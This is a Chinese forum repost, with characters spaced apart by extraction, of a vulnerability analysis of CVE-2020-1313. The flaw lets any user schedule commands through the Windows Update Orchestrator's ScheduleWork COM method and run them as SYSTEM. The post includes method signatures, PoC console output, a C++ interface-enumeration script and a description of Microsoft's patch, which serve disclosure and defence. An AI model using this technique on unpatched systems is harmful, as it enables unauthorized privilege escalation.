搜索

[15731] 2020-08-15_CVE-2020-1313漏洞分析与利用PoC

文档创建者：s7ckTeam
浏览次数：37
最后更新：2025-01-18
2020-08-15_CVE-2020-1313漏洞分析与利用PoC C V E - 2 0 2 0 - 1 3 1 3 漏 洞 分 析 与 利 用 P o C 原 创   A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 0 8 - 1 5 写 在 前 面 的 话 写 在 前 面 的 话 W i n d o w s   U p d a t e   O r c h e s t r a t o r   S e r v i c e 是 一 个 D C O M 服 务 ， W i n d o w s 系 统 内 的 其 他 组 件 需 要 使 用 该 服 务 来 安 装 已 下 载 好 的 W i n d o w s 更 新 。 但 是 ， 由 于 该 服 务 中 的 代 码 在 认 证 调 用 函 数 时 存 在 问 题 ， 导 致 其 易 受 权 限 提 升 攻 击 的 影 响 ， 即 任 意 用 户 提 升 至 本 地 系 统 权 限 。 该 漏 洞 将 影 响 W i n d o w s   1 0 和 W i n d o w s   S e r v e r   C o r e 产 品 。 漏 洞 分 析 漏 洞 分 析 U n i v e r s a l O r c h e s t r a t o r 服 务 （ 9 C 6 9 5 0 3 5 - 4 8 D 2 - 4 2 2 9 - 8 B 7 3 - 4 C 7 0 E 7 5 6 E 5 1 9 ） ， 其 代 码 在 u s o s v c . d l l 中 实 现 ， 并 且 将 以 N T _ A U T H O R I T Y S Y S T E M 权 限 运 行 ， 如 果 拥 有 B U I L T I N U s e r s 的 访 问 权 ， 即 可 对 其 进 行 配 置 。 即 使 该 服 务 所 实 现 的 C O M 类 枚 举 功 能 已 经 被 屏 蔽 了 ， 但 是 I U n i v e r s a l O r c h e s t r a t o r 接 口 （ c 5 3 f 3 5 4 9 - 0 d b f - 4 2 9 a - 8 2 9 7 - c 8 1 2 b a 0 0 7 4 2 d ） 仍 然 可 以 通 过 标 准 的 C O M   A P I 调 用 来 访 问 获 取 。 下 面 给 出 的 就 是 暴 露 的 三 个 方 法 ： S c h e d u l e W o r k 方 法 可 以 用 来 在 服 务 的 上 下 文 环 境 下 设 置 命 令 执 行 的 计 划 任 务 ， 并 且 可 以 在 不 进 行 任 何 认 证 的 情 况 下 执 行 。 目 标 可 执 行 程 序 本 身 必 须 拥 有 数 字 签 名 ， 并 且 必 须 位 于 “ c : w i n d o w s s y s t e m 3 2 ” 或 “ P r o g r a m   F i l e s ” 目 录 下 。 但 是 ， 我 们 同 样 可 以 通 过 命 令 行 参 数 来 执 行 目 标 可 执 行 文 件 ， 这 样 我 们 就 可 以 通 过 启 动 “ c : w i n d o w s s y s t e m 3 2 c m d . e x e ” ， 并 且 以 N T _ A U T H O R I T Y S Y S T E M 权 限 执 行 任 意 代 码 ， 最 终 在 目 标 系 统 中 实 现 提 权 。 概 念 验 证 P o C 计 划 任 务 的 入 口 点 将 添 加 至 注 册 表 中 ： 计 划 任 务 的 入 口 点 将 添 加 至 注 册 表 中 ： v i r t u a l   H R E S U L T   _ _ s t d c a l l   H a s M o r a t o r i u m P a s s e d ( w c h a r _ t *   u s c h e d u l e d I d ,   i n t 6 4 _ t *   p 1 ) ; / / u s o s v c ! U n i v e r s a l O r c h e s t r a t o r : : H a s M o r a t o r i u m P a s s e d v i r t u a l   H R E S U L T   _ _ s t d c a l l   S c h e d u l e W o r k ( w c h a r _ t *   u s c h e d u l e d I d ,   w c h a r _ t *   c m d L i n e ,   w c h a r _ t *   s t a r t A r g ,   w c h a r _ t *   p a u s e A r g ) ; / / u s o s v c ! U n i v e r s a l O r c h e s t r a t o r : : S c h e d u l e W o r k v i r t u a l   H R E S U L T   _ _ s t d c a l l   W o r k C o m p l e t e d ( w c h a r _ t *   u s c h e d u l e d I d ,   i n t 6 4 _ t   p 1 ) ; / / u s o s v c ! U n i v e r s a l O r c h e s t r a t o r : : W o r k C o m p l e t e d C : 1 1 1 > w h o a m i d e s k t o p - 4 3 r n l k u u n p r i v i l e g e d C : 1 1 1 > w h o a m i   / p r i v P R I V I L E G E S   I N F O R M A T I O N - - - - - - - - - - - - - - - - - - - - - - P r i v i l e g e   N a m e                                 D e s c r i p t i o n                                                     S t a t e = = = = = = = = = = = = = = = = = = = = = = = = = = = = =   = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =   = = = = = = = = S e S h u t d o w n P r i v i l e g e                       S h u t   d o w n   t h e   s y s t e m                                   D i s a b l e d S e C h a n g e N o t i f y P r i v i l e g e               B y p a s s   t r a v e r s e   c h e c k i n g                           E n a b l e d S e U n d o c k P r i v i l e g e                           R e m o v e   c o m p u t e r   f r o m   d o c k i n g   s t a t i o n   D i s a b l e d S e I n c r e a s e W o r k i n g S e t P r i v i l e g e   I n c r e a s e   a   p r o c e s s   w o r k i n g   s e t               D i s a b l e d S e T i m e Z o n e P r i v i l e g e                       C h a n g e   t h e   t i m e   z o n e                                   D i s a b l e d C : 1 1 1 > w h o a m i   / p r i v C : 1 1 1 > U n i v e r s a l O r c h e s t r a t o r P r i v E s c P o c . e x e O b t a i n i n g   r e f e r e n c e   t o   I U n i v e r s a l O r c h e s t r a t o r S c h e d u i n g   w o r k   w i t h   i d   5 6 5 9 4 S u c c e e d e d .   Y o u   m a y   v e r i f y   H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n W i n d o w s U p d a t e O r c h e s t r a t o r U S c h e d u l e r   t o   s e e   t h e   t a s k   h a s   i n d e e d   b e e n   o n b o a r d e d .   T h e   c o m m a n d   i t s e l f   w i l l   b e   e x e c u t e d   o v e r n i g h t  
指 定 的 命 令 可 以 在 不 需 要 任 何 用 户 交 互 的 情 况 下 ， 在 夜 间 （ 大 约 2 3 : 2 0 ） 的 时 候 执 行 。 漏 洞 发 现 过 程 漏 洞 发 现 过 程 当 我 发 现 我 们 无 法 通 过 O l e V i e w . N E T 来 获 取 U S O 服 务 的 接 口 定 义 时 ， 我 专 门 创 建 了 一 个 脚 本 来 遍 历 大 量 的 C L S I D / I I D 组 合 。 于 是 乎 ， 我 们 发 现 了 下 列 内 容 ： 方 法 的 执 行 结 果 如 下 ： 方 法 的 执 行 结 果 如 下 ： 接 下 来 ， 我 就 开 始 对 上 述 方 法 执 行 逆 向 工 程 分 析 ， 并 且 发 现 了 本 文 所 介 绍 的 漏 洞 。 漏 洞 修 复 漏 洞 修 复 微 软 目 前 已 在 2 0 2 0 年 6 月 份 的 漏 洞 补 丁 中 ， 通 过 添 加 C o I m p e r s o n a t e C l i e n t   A P I 调 用 来 修 复 了 该 问 题 。 在 部 署 漏 洞 补 丁 之 前 ， 方 法 的 实 现 代 码 如 下 在 部 署 漏 洞 补 丁 之 前 ， 方 法 的 实 现 代 码 如 下 : v o i d   T e s t U p d a t e O r c h e s t r a t o r I n t e r f a c e A g a i n s t S e r v i c e ( I I D &   c l s I d ,   c o n s t   c h a r *   c l a s s N a m e ,   c o n s t   w c h a r _ t *   i i d S t r ,   c o n s t   c h a r   * i n t e r f a c e N a m e ) { v o i d   * s s   =   N U L L ; I I D   i i d ; T h r o w O n E r r o r ( I I D F r o m S t r i n g ( i i d S t r ,   ( L P C L S I D ) & i i d ) ) ;   / /   w o r k i n g   w i t h   e   a t   t h e   e n d ,   f a i l i n g   w i t h   a n y t h i n g   e l s e H R E S U L T   r e s   =   C o C r e a t e I n s t a n c e ( c l s I d ,   n u l l p t r ,   C L S C T X _ L O C A L _ S E R V E R ,   i i d ,   ( L P V O I D * ) & s s ) ; p r i n t f ( " % s   % s :   % s n " ,   c l a s s N a m e ,   i n t e r f a c e N a m e ,   r e s   = =   S _ O K   ?   " W O R K I N G "   :   " f a i l u r e " ) ; } v o i d   T e s t U p d a t e O r c h e s t r a t o r I n t e r f a c e ( c o n s t   w c h a r _ t *   i i d S t r ,   c o n s t   c h a r   * i n t e r f a c e N a m e ) { / /   T e s t U p d a t e O r c h e s t r a t o r I n t e r f a c e A g a i n s t S e r v i c e ( C L S I D _ A u t o m a t i c U p d a t e s ,   " A u t o m a t i c U p d a t e s " ,   i i d S t r ,   i n t e r f a c e N a m e ) ;   / /   t i m e o u t i n g ! T e s t U p d a t e O r c h e s t r a t o r I n t e r f a c e A g a i n s t S e r v i c e ( C L S I D _ U x U p d a t e M a n a g e r ,   " U x U p d a t e M a n a g e r " ,   i i d S t r ,   i n t e r f a c e N a m e ) ; T e s t U p d a t e O r c h e s t r a t o r I n t e r f a c e A g a i n s t S e r v i c e ( C L S I D _ U s o S e r v i c e ,   " U s o S e r v i c e " ,   i i d S t r ,   i n t e r f a c e N a m e ) ; T e s t U p d a t e O r c h e s t r a t o r I n t e r f a c e A g a i n s t S e r v i c e ( C L S I D _ U p d a t e S e s s i o n O r c h e s t r a t o r ,   " U p d a t e S e s s i o n O r c h e s t r a t o r " ,   i i d S t r ,   i n t e r f a c e N a m e ) ; T e s t U p d a t e O r c h e s t r a t o r I n t e r f a c e A g a i n s t S e r v i c e ( C L S I D _ U n i v e r s a l O r c h e s t r a t o r ,   " U n i v e r s a l O r c h e s t r a t o r " ,   i i d S t r ,   i n t e r f a c e N a m e ) ; / /   T e s t U p d a t e O r c h e s t r a t o r I n t e r f a c e A g a i n s t S e r v i c e ( C L S I D _ S o m e S e r v i c e ,   " S o m e S e r v i c e " ,   i i d S t r ,   i n t e r f a c e N a m e ) ;   / /   t i m e o u t i n g ! } . . . T e s t U p d a t e O r c h e s t r a t o r I n t e r f a c e ( L " { c 5 7 6 9 2 f 8 - 8 f 5 f - 4 7 c b - 9 3 8 1 - 3 4 3 2 9 b 4 0 2 8 5 a } " ,   " I M o U s o O r c h e s t r a t o r " ) ; T e s t U p d a t e O r c h e s t r a t o r I n t e r f a c e ( L " { 4 2 8 4 2 0 2 d - 4 d c 1 - 4 c 6 8 - a 2 1 e - 5 c 3 7 1 d d 9 2 6 7 1 } " ,   " I M o U s o U p d a t e " ) ; T e s t U p d a t e O r c h e s t r a t o r I n t e r f a c e ( L " { c 8 7 9 d d 7 3 - 4 b d 2 - 4 b 7 6 - 9 d d 8 - 3 b 9 6 1 1 3 a 2 1 3 0 } " ,   " I M o U s o U p d a t e C o l l e c t i o n " ) ;                 / /   . . .   a n d   h u n d r e d s   o f   m o r e U n i v e r s a l O r c h e s t r a t o r   I U n i v e r s a l O r c h e s t r a t o r :   W O R K I N G U p d a t e S e s s i o n O r c h e s t r a t o r   I U p d a t e S e s s i o n O r c h e s t r a t o r :   W O R K I N G U x U p d a t e M a n a g e r   I U x U p d a t e M a n a g e r :   W O R K I N G
部 署 了 漏 洞 补 丁 之 后 ， 方 法 的 实 现 代 码 如 下 ： 部 署 了 漏 洞 补 丁 之 后 ， 方 法 的 实 现 代 码 如 下 ： 实 际 上 ， 身 份 伪 装 实 在 处 理 请 求 的 开 始 时 完 成 的 ， 因 此 更 新 注 册 表 的 A P I 调 用 是 在 调 用 方 的 安 全 上 下 文 中 执 行 的 。 如 果 调 用 方 没 有 访 问 H K E Y _ L O C A L _ M A C H I N E 的 高 级 权 限 ， 那 么 U S O   A P I 方 法 也 将 无 法 被 执 行 。 参 考 文 档 参 考 文 档 h t t p s : / / p o r t a l . m s r c . m i c r o s o f t . c o m / e n - U S / s e c u r i t y - g u i d a n c e / a d v i s o r y / C V E - 2 0 2 0 - 1 3 1 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理